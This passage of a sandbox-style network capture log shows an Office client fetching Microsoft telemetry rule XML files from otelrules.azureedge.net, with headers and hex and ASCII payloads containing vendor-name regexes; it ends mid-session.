48	192.168.2.7	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:42 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:42 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 072142d6-401e-0029-0802-489b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210842Z-r1cf579d778d5zkmhC1EWRk6h800000000sg00000000gw28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:42 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:42 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:42 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d23b658c-101e-000b-2402-485e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210842Z-r1cf579d7782ctslhC1EWRfbrw00000000vg00000000atv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:42 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:42 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:42 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 935017b2-001e-0017-80c6-450c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210842Z-1746fd949bdb8xvchC1EWRmbd400000004sg000000004kma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:42 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:42 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:42 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 836d2ba0-b01e-0070-7302-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210842Z-r1cf579d778zvkpnhC1EWRv23g00000000q0000000004umc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:42 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:42 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:42 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: eee9af6d-a01e-001e-1905-4849ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210842Z-r1cf579d778d5zkmhC1EWRk6h800000000v000000000baec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:42 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:44 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:44 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: c73ff22a-601e-0097-54c1-45f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210844Z-1746fd949bdlqd7fhC1EWR6vt000000004tg00000000uxmb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:45 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:44 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:44 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7b814a2b-101e-0017-4003-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210844Z-r1cf579d778dc6d7hC1EWR2vs8000000011g00000000a4du x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:45 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:44 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:44 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 45682ef5-801e-0048-7703-48f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210844Z-r1cf579d778d5zkmhC1EWRk6h800000000zg000000001e4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:45 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:44 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: a7f5343d-701e-001e-5304-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210844Z-r1cf579d778d5zkmhC1EWRk6h800000000wg0000000087d2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:44 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:44 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bbae04f8-a01e-0032-80cc-451949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210844Z-1746fd949bd6zq92hC1EWRry4800000004r000000000ehzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:45 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:46 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 71541f9e-801e-0078-2fc7-45bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210847Z-1746fd949bd2cq7chC1EWRnx9g000000049g00000000u7ae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:46 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:47 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 90ee9adf-001e-0014-3106-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210847Z-r1cf579d7782ctslhC1EWRfbrw00000000vg00000000aug3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:47 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" 